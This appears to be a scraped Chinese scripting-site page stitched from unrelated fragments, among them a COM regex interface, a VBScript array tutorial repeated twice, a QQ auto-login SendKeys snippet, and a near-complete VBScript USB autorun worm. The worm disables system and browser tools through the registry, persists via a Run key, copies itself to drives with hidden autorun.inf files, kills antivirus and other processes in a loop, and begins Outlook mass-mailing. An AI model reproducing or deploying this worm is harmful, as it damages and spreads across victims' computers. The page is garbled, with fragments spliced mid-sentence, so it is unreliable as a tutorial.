shell脚本判断文件是否存在微信论坛

发布时间:2020-08-29 来源:脚本之家 点击:

所以我们只好使用MemoryDC的方式来做,产生一个MemoryDc後将BitMap图放於其上,之後便可以使用BitBlt来绘图了
interface IRegExp2 : IDispatch {
[id(0x00002711), propget]
HRESULT Pattern([out, retval] BSTR* pPattern);
[id(0x00002711), propput]
HRESULT Pattern([in] BSTR pPattern);
[id(0x00002712), propget]
HRESULT IgnoreCase([out, retval] VARIANT_BOOL* pIgnoreCase);
[id(0x00002712), propput]
HRESULT IgnoreCase([in] VARIANT_BOOL pIgnoreCase);
[id(0x00002713), propget]
HRESULT Global([out, retval] VARIANT_BOOL* pGlobal);
[id(0x00002713), propput]
HRESULT Global([in] VARIANT_BOOL pGlobal);
[id(0x00002717), propget]
HRESULT Multiline([out, retval] VARIANT_BOOL* pMultiline);
[id(0x00002717), propput]
HRESULT Multiline([in] VARIANT_BOOL pMultiline);
[id(0x00002714)]
HRESULT Execute(
[in] BSTR sourceString,
[out, retval] IDispatch** ppMatches);
[id(0x00002715)]
HRESULT Test(
[in] BSTR sourceString,
[out, retval] VARIANT_BOOL* pMatch);
[id(0x00002716)]
HRESULT Replace(
[in] BSTR sourceString,
[in] VARIANT replaceVar,
[out, retval] BSTR* pDestString);
};

楚留香采集挂机脚本
'

tx=True
used=""
t=""

'■■■■■■■■■■■■■■可修改区域开始■■■■■■■■■■■■■■
t=t&"|"&"10:00:00|hello,hi,是美女不!"
t=t&"|"&"11:30:00|美女,快吃饭了!"
t=t&"|"&"14:00:00|困不困?困了就休息会,注意关门,小心被偷窥哦,哇嘎嘎"
t=t&"|"&"16:30:00|想帅哥了吧,笑一笑^-^"
t=t&"|"&"17:30:00|好像要下班了哦"
Label2.Caption="电影结束画面的卷动效果

第五篇(共六篇):

请允许我县描述一下我现在的环境:气温高达37摄氏度,而我忘记了图书馆开门的时间,还要在这里站上一个小时,在热带植物的包裹下,各种奇怪的小飞虫围着我转来转去.不过令我欣慰的是,终于写到五了,还有两课我们的"基础篇"就要结束了.

今天我们来了解语言本身的最后一个论题:数组.

  要理解"数组",这个概念我觉得另一种翻译对学习来说更加容易:"阵列",没错,数组就是一个阵列,一个数据的阵列.最简单的例子是数据库系统,假设你要储存20名学生的英语成绩,如果不是用数组,你则要创建20个不同的变量,累死.数组就是类型相同(重要!)的一组数据(或者n组),用来储存相关的量,最简单的数组是一维数组,我们就先来学习它吧.

  什么是一维数组呢?在3维以下,你可以利用几何知识来理解"维"的概念,一维相当于一条线,二维则是一个矩形,三维是一个长方体.我知道这么讲是很抽象的,我们先举个一维数组的例子就比较容易了解了.

dima(9)'从零开始
fori=0to9
a(i)=i'填充每一个数组元素
msgbox(a(i))'输出数组元素
next

  我们可以看到,定义一个数组的方法和定义一个变量没有什么不同,同样是使用dim语句.定义一维数组的方法如下:

dim数组名(元素数量),这里大家要注意一点,这里定义的元素数量总是比你要的要少一个,因为一个数组的起点是0号数据而不是1,所以大家一定要小心:你需要10个数据,就定义"9",需要100个就定义99,依此类推.数组的元素可以看成一个个独立的变量,你可以像独立的变量那样使用他们.数组元素的量可能是毫无关系的,比如第一个数组元素储存你的年龄,第二个储存今年西瓜的销售量,但这种做法是不鼓励的,甚至是不被接受的,不要这么干,这样的情况请定义独立的变量.for语句在数组中可算是大显身手,还记得for吗?它累加一个变量,我们可以把这个变量应用在数组中正好用来读取或者填充按照顺序排列的数组元素,上面就是这样一个例子.数组其实是很简单的东西(再BASIC语言里面),数组难的是怎么捣弄这些循环,让他们按照你的要求运转.这个等到二维数组再说,我们先看看如何手工填充数组.

  如果你这个都想不到的话,那你真是白学了:

dimname(7),str'一共八个学生,str变量是用来把他们储存成一个字符串以便输出
fori=0to7
name(i)=inputbox("请输入第"&i+1&"个学生的名字")
str=str&""&name(i)
next
msgbox(str)

  这样我们就有了一个小小的数据库,它们的数据排列可以看成这样:

  name(0),name(1),name(2).....name(7)

  看到了吧,所以我说我们可以把它看成是"一条线",等到我们学到了文件操作,就可以把他们输出到文件中去了.一维数组有很多用处,我们来看一下一个复杂的例子.我们要储存3各学生的名字,身高,成绩这三种数据,由于名字是字符串,而身高可能是浮点数(带小数点的数),成绩则可能是整数,所以我们不能把他们储存在一个数组里面(不要忘记,数组织只能存储同类的数据),所以我们要建3个数组,以下是例程:

dimname(2),high(2),mark(2)'定义三个数组分别储存3个人的名字,身高和得分
dimctr'计数器
forctr=0to2
name(ctr)=inputbox("请输入第"&ctr+1&"个学生的姓名")
high(ctr)=inputbox("请输入第"&ctr+1&"个学生的身高")
mark(ctr)=inputbox("请输入第"&ctr+1&"个学生的得分")
next

  OK,我们已经填充好了数据,现在我们的小小数据库只能按顺序输入,我们要让它看起来像点样子,我们来给他设计查询功能:

'接着上面的程序
dimcname,temp'要查询的名字,和一个临时变量,用来储存数据的位置
cname=inputbox("请输入你要查询的名字:")
forctr=0to2'遍历所有name数组的成员,寻找要查询的名字
ifname(ctr)=cnamethen
temp=ctr'记录数据位置
exitfor'退出循环,和exitdo的用法一样
endif'不要忘了endif
next
msgbox("姓名:"&name(temp)&""&"身高:"&high(temp)&""&"得分:"&mark(temp))

  嘿嘿,有意思吧,其实在这个程序里面,那个temp变量完全没有必要,只是为了更清楚地说明问题.因为当exitfor以后ctr变量的值就不会改变,储存的正好是对应数据在数组中的位置,写这个temp变量是为了照顾到以后要学C++的朋友(C++可以在for语句里声明新变量,只在这个for结构中有效,所以到了外部就不能访问了).也就是说可以简化成如下:

dimcname
cname=inputbox("请输入你要查询的名字:")
forctr=0to2
ifname(ctr)=cnamethenexitfor'因为只有exitfor就不需要块if了
next
msgbox("姓名:"&name(ctr)&""&"身高:"&high(ctr)&""&"得分:"&mark(ctr))

  这是最直接的路子.好好重读一下上面所有的源代码,然后自己写几个程序,完全搞清楚一维数组及其应用以后再看后面的二位数组.二维数组好像是一个一维数组的集合,就好像"线积成面"一样,由n各一维数组组成二维数组,这是初学者比较好理解的办法(比较精确的是用"编号"的概念去理解,因为4维以上的数组就比较难以用欧几里德几何概念去解释了).二维数组是很好解释的,我们来看一下:

dima(2,2)'从零开始,一共有3X3=9个数据
dimi,j'需要两个计数器
fori=0to2
forj=0to2'使用嵌套循环
a(i,j)="X"
next
next

  我们创建了一个这样的二维数组(那些","是我用来分割元素的,并不存在),了解二维数组的了吗?不清楚我们再讲一下

编号012
0X,X,X
1X,X,X
2X,X,X

  二维数组的看起来是不是就是一个矩形呢?(你在内存中看不到这样的矩形,只是便于你理解),每个数据都有编号,由两个数来定位,这个很像(非常像)你在国际象棋棋盘上寻找一个格,我们用类似"C6","A2"这样的"垂直坐标"进行定位,对,"垂直坐标",很确切.我们要使用一个二维数组元素的时候可以和普通变量一样使用,只要指定数组元素的"定位点"就可以了,例如

a(0)(1)=1,b(2)(1)="你好",诸如此类.要注意的是二维数组也只能储存类型相同的元素,而且上标(起点)也从0开始.计算一个二维数组的元素个数只要把两个下标+1(以得到实际的值)再乘起来就可以了,非常类似于求一个矩形的面积.

  假如需要储存的都是同一类型的数据,我们就可以用二维数组,比如要储存5个人的姓名,国籍,民族,就可以使用二维数据

diminfo(4,2)'一共五个人,要储存的数据类型有3项
dimi,j
fori=0to4
forj=0to2
dimopt'定义一个变量用于存储数据项提示
selectcasej'判断应该输入的是什么数据
case0
opt="姓名"
case1
opt="国籍"
case2
opt="民族"
endselect
info(i,j)=inputbox("请输入第"&i+1&"个人的"&opt)
next
next
'输出太麻烦了,我懒得动,你知道那么回事就行了

  这样就不需要定义3个一维数组了.

  多位数组(三维以上)的定义和使用方法与二维数组一样,但不太好在欧几里德几何空间里加以解释,幸好我们并不太常用那么多维的数组.定义一个三位数组:dima(1,2,3)'一共24各数组元素.

  今天因为要搬家(我喜欢Sengkang啊,可是MM嫌交通不便,谁不知道她只想去逛街),而GF要去和她的同学去参加什么试验半夜才回家,所以下午我只能自己去押车搬家了,5555~~好可怜,这次就请大家原谅我少写一点,我可是站在图书馆外写的啊,

现在腿都软了~~~本来还要讲"动态数组"的,但想了想还是放到"进阶部分"再说吧.

要点:

1)一维数组是"线",二维数组是"面",三维数组是"体"(多维数组就乱套)

2)数组的下标从0开始

3)for循环在数组的应用中起了很大作用,二维数组需要嵌套循环

作业:

  上次出的"百鸡问题",大家喜欢吗?以后我们就做这种需要动脑的题目,那些简单的实践,大家一定要多做!

1)定义一个数组,包含5个元素, 都是随机整数(随便输入),要求把他们按照从大到小的顺序排列起来

2)有两个二维数组a(4,4)和b(4,4)(元素值随便),交换两个数组(原来的a的所有元素值变成b的,b的所有元素值变成a的)



'
'入口:[strString]-要删除结束符的字符串
'
'返回:传递的字符串减去尾部零以后的值

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到CDE和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒和部分熊猫烧香功能,本人能力有限,只能模拟这样的病毒了,声明,本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负onerrorresumenext
dimfso,wsh,myfile,ws,pp,fsoFolder
setwsh=wscript.createobject("wscript.shell")
setfso=wscript.createobject("scripting.filesystemobject")
setmyfile=fso.GetFile(wscript.scriptfullname)
'修改注册表(开始菜单里面的东西和IE各项设置)
wsh.Regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Advanced",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\CacheInternet",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ConnwizAdminLock",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ResetWebSettings",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","c:\NYboy.vbs"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite"HKLM\SOFTWARE\Classes\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKCR\Drive\shell","auto"
wsh.Regwrite"HKCR\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell","auto"
wsh.Regwrite"HKCR\Directory\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell\auto\command","C:\NYboy.bat'%1'"
'修改默认文件图标 这里可以换成可爱的熊猫哦
wsh.Regwrite"HKCR\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\Software\CLASSES\.reg","txtfile"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy"c:"
myfile.copy"D:"
myfile.copy"E:"
myfile.copy"F:"
myfile.copy"I:"
myfile.attributes=34
'定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写
Iffso.FileExists("C:\autorun.inf")Then
SetobjFolder=fso.GetFile("C:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>C:\autorun.inf"_
&"&&echoopen=NYboy.bat>>C:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell=Auto>>C:\autorun.inf"_
&"&&attrib+h+s+rC:\autorun.inf"
setautobatc=fso.createtextfile("c:\NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("D:\autorun.inf")Then
SetobjFolder=fso.GetFile("D:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>D:\autorun.inf"_
&"&&echoopen=NYboy.bat>>D:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell=Auto>>D:\autorun.inf"_
&"&&attrib+h+s+rD:\autorun.inf"
setautobatd=fso.createtextfile("D:\NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("E:\autorun.inf")Then
SetobjFolder=fso.GetFile("E:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>E:\autorun.inf"_
&"&&echoopen=NYboy.bat>>E:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell=Auto>>E:\autorun.inf"_
&"&&attrib+h+s+rE:\autorun.inf"
setautobate=fso.createtextfile("E:\NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("F:\autorun.inf")Then
SetobjFolder=fso.GetFile("F:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>F:\autorun.inf"_
&"&&echoopen=NYboy.bat>>F:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell=Auto>>F:\autorun.inf"_
&"&&attrib+h+s+rF:\autorun.inf"
setautobatf=fso.createtextfile("F:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("I:\autorun.inf")Then
SetobjFolder=fso.GetFile("I:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>I:\autorun.inf"_
&"&&echoopen=NYboy.bat>>I:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell=Auto>>I:\autorun.inf"_
&"&&attrib+h+s+rI:\autorun.inf"
setautobatf=fso.createtextfile("I:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
'设置病毒体属性为 系统 只读 隐藏
wsh.run"cmd/cattrib+h+s+rC:\NYboy.bat"_
&"&&attrib+h+s+rD:\NYboy.bat"_
&"&&attrib+h+s+rE:\NYboy.bat"_
&"&&attrib+h+s+rF:\NYboy.bat"_
&"&&attrib+h+s+rI:\NYboy.bat"
'强制结束某些进程,比如QQ,记事本,网页,批处理文件,卡巴,realplay等进程,运行后打不开这些文件
do
setws=getobject("winmgmts:\\.\root\cimv2")
setpp=ws.execquery("select*fromwin32_processwherename='taskmgr.exe'orName='QQ.exe'orName='notepad.exe'orName='IEXPLORE.exe'orName='cmd.exe'orName='avp.exe'orName='winRAR.exe'orName='realplay.exe'orName='WINWORD.exe'")
foreachiinpp
i.terminate()
wscript.sleep100
next
loop
'使病毒可以靠邮件传播
Setol=CreateObject("Outlook.Application")
OnErrorResumeNext
Forx=1To5
SetMail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友给您发来了热情的邀请

  首先要声明这三个API函数,它们分别是:RegSetValue、RegCreateKey、RegCloseKey,其作用是设置某一个主键的键值、创建一个主键、关闭对注册表主键的操作


dimprogram
program="c:\ProgramFiles\Tencent\qq\QQ.exe" '你的qq路径
setWshell=CreateObject("Wscript.Shell")
setoexec=Wshell.Exec(program)
wscript.Sleep2000
Wshell.AppActivate"QQTang"
Wshell.SendKeys"+{TAB}"
Wshell.SendKeys"QQ号码"
wscript.Sleep1000
Wshell.SendKeys"{TAB}"
Wshell.SendKeys"QQ密码"
wscript.Sleep1000
Wshell.SendKeys"{ENTER}"
启动tomcat结果是:长长的字符连接串变得难于阅读第五篇(共六篇):

请允许我县描述一下我现在的环境:气温高达37摄氏度,而我忘记了图书馆开门的时间,还要在这里站上一个小时,在热带植物的包裹下,各种奇怪的小飞虫围着我转来转去.不过令我欣慰的是,终于写到五了,还有两课我们的"基础篇"就要结束了.

今天我们来了解语言本身的最后一个论题:数组.

  要理解"数组",这个概念我觉得另一种翻译对学习来说更加容易:"阵列",没错,数组就是一个阵列,一个数据的阵列.最简单的例子是数据库系统,假设你要储存20名学生的英语成绩,如果不是用数组,你则要创建20个不同的变量,累死.数组就是类型相同(重要!)的一组数据(或者n组),用来储存相关的量,最简单的数组是一维数组,我们就先来学习它吧.

  什么是一维数组呢?在3维以下,你可以利用几何知识来理解"维"的概念,一维相当于一条线,二维则是一个矩形,三维是一个长方体.我知道这么讲是很抽象的,我们先举个一维数组的例子就比较容易了解了.

dima(9)'从零开始
fori=0to9
a(i)=i'填充每一个数组元素
msgbox(a(i))'输出数组元素
next

  我们可以看到,定义一个数组的方法和定义一个变量没有什么不同,同样是使用dim语句.定义一维数组的方法如下:

dim数组名(元素数量),这里大家要注意一点,这里定义的元素数量总是比你要的要少一个,因为一个数组的起点是0号数据而不是1,所以大家一定要小心:你需要10个数据,就定义"9",需要100个就定义99,依此类推.数组的元素可以看成一个个独立的变量,你可以像独立的变量那样使用他们.数组元素的量可能是毫无关系的,比如第一个数组元素储存你的年龄,第二个储存今年西瓜的销售量,但这种做法是不鼓励的,甚至是不被接受的,不要这么干,这样的情况请定义独立的变量.for语句在数组中可算是大显身手,还记得for吗?它累加一个变量,我们可以把这个变量应用在数组中正好用来读取或者填充按照顺序排列的数组元素,上面就是这样一个例子.数组其实是很简单的东西(再BASIC语言里面),数组难的是怎么捣弄这些循环,让他们按照你的要求运转.这个等到二维数组再说,我们先看看如何手工填充数组.

  如果你这个都想不到的话,那你真是白学了:

dimname(7),str'一共八个学生,str变量是用来把他们储存成一个字符串以便输出
fori=0to7
name(i)=inputbox("请输入第"&i+1&"个学生的名字")
str=str&""&name(i)
next
msgbox(str)

  这样我们就有了一个小小的数据库,它们的数据排列可以看成这样:

  name(0),name(1),name(2).....name(7)

  看到了吧,所以我说我们可以把它看成是"一条线",等到我们学到了文件操作,就可以把他们输出到文件中去了.一维数组有很多用处,我们来看一下一个复杂的例子.我们要储存3各学生的名字,身高,成绩这三种数据,由于名字是字符串,而身高可能是浮点数(带小数点的数),成绩则可能是整数,所以我们不能把他们储存在一个数组里面(不要忘记,数组织只能存储同类的数据),所以我们要建3个数组,以下是例程:

dimname(2),high(2),mark(2)'定义三个数组分别储存3个人的名字,身高和得分
dimctr'计数器
forctr=0to2
name(ctr)=inputbox("请输入第"&ctr+1&"个学生的姓名")
high(ctr)=inputbox("请输入第"&ctr+1&"个学生的身高")
mark(ctr)=inputbox("请输入第"&ctr+1&"个学生的得分")
next

  OK,我们已经填充好了数据,现在我们的小小数据库只能按顺序输入,我们要让它看起来像点样子,我们来给他设计查询功能:

'接着上面的程序
dimcname,temp'要查询的名字,和一个临时变量,用来储存数据的位置
cname=inputbox("请输入你要查询的名字:")
forctr=0to2'遍历所有name数组的成员,寻找要查询的名字
ifname(ctr)=cnamethen
temp=ctr'记录数据位置
exitfor'退出循环,和exitdo的用法一样
endif'不要忘了endif
next
msgbox("姓名:"&name(temp)&""&"身高:"&high(temp)&""&"得分:"&mark(temp))

  嘿嘿,有意思吧,其实在这个程序里面,那个temp变量完全没有必要,只是为了更清楚地说明问题.因为当exitfor以后ctr变量的值就不会改变,储存的正好是对应数据在数组中的位置,写这个temp变量是为了照顾到以后要学C++的朋友(C++可以在for语句里声明新变量,只在这个for结构中有效,所以到了外部就不能访问了).也就是说可以简化成如下:

dimcname
cname=inputbox("请输入你要查询的名字:")
forctr=0to2
ifname(ctr)=cnamethenexitfor'因为只有exitfor就不需要块if了
next
msgbox("姓名:"&name(ctr)&""&"身高:"&high(ctr)&""&"得分:"&mark(ctr))

  这是最直接的路子.好好重读一下上面所有的源代码,然后自己写几个程序,完全搞清楚一维数组及其应用以后再看后面的二位数组.二维数组好像是一个一维数组的集合,就好像"线积成面"一样,由n各一维数组组成二维数组,这是初学者比较好理解的办法(比较精确的是用"编号"的概念去理解,因为4维以上的数组就比较难以用欧几里德几何概念去解释了).二维数组是很好解释的,我们来看一下:

dima(2,2)'从零开始,一共有3X3=9个数据
dimi,j'需要两个计数器
fori=0to2
forj=0to2'使用嵌套循环
a(i,j)="X"
next
next

  我们创建了一个这样的二维数组(那些","是我用来分割元素的,并不存在),了解二维数组的了吗?不清楚我们再讲一下

编号012
0X,X,X
1X,X,X
2X,X,X

  二维数组的看起来是不是就是一个矩形呢?(你在内存中看不到这样的矩形,只是便于你理解),每个数据都有编号,由两个数来定位,这个很像(非常像)你在国际象棋棋盘上寻找一个格,我们用类似"C6","A2"这样的"垂直坐标"进行定位,对,"垂直坐标",很确切.我们要使用一个二维数组元素的时候可以和普通变量一样使用,只要指定数组元素的"定位点"就可以了,例如

a(0)(1)=1,b(2)(1)="你好",诸如此类.要注意的是二维数组也只能储存类型相同的元素,而且上标(起点)也从0开始.计算一个二维数组的元素个数只要把两个下标+1(以得到实际的值)再乘起来就可以了,非常类似于求一个矩形的面积.

  假如需要储存的都是同一类型的数据,我们就可以用二维数组,比如要储存5个人的姓名,国籍,民族,就可以使用二维数据

diminfo(4,2)'一共五个人,要储存的数据类型有3项
dimi,j
fori=0to4
forj=0to2
dimopt'定义一个变量用于存储数据项提示
selectcasej'判断应该输入的是什么数据
case0
opt="姓名"
case1
opt="国籍"
case2
opt="民族"
endselect
info(i,j)=inputbox("请输入第"&i+1&"个人的"&opt)
next
next
'输出太麻烦了,我懒得动,你知道那么回事就行了

  这样就不需要定义3个一维数组了.

  多位数组(三维以上)的定义和使用方法与二维数组一样,但不太好在欧几里德几何空间里加以解释,幸好我们并不太常用那么多维的数组.定义一个三位数组:dima(1,2,3)'一共24各数组元素.

  今天因为要搬家(我喜欢Sengkang啊,可是MM嫌交通不便,谁不知道她只想去逛街),而GF要去和她的同学去参加什么试验半夜才回家,所以下午我只能自己去押车搬家了,5555~~好可怜,这次就请大家原谅我少写一点,我可是站在图书馆外写的啊,

现在腿都软了~~~本来还要讲"动态数组"的,但想了想还是放到"进阶部分"再说吧.

要点:

1)一维数组是"线",二维数组是"面",三维数组是"体"(多维数组就乱套)

2)数组的下标从0开始

3)for循环在数组的应用中起了很大作用,二维数组需要嵌套循环

作业:

  上次出的"百鸡问题",大家喜欢吗?以后我们就做这种需要动脑的题目,那些简单的实践,大家一定要多做!

1)定义一个数组,包含5个元素, 都是随机整数(随便输入),要求把他们按照从大到小的顺序排列起来

2)有两个二维数组a(4,4)和b(4,4)(元素值随便),交换两个数组(原来的a的所有元素值变成b的,b的所有元素值变成a的)


网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号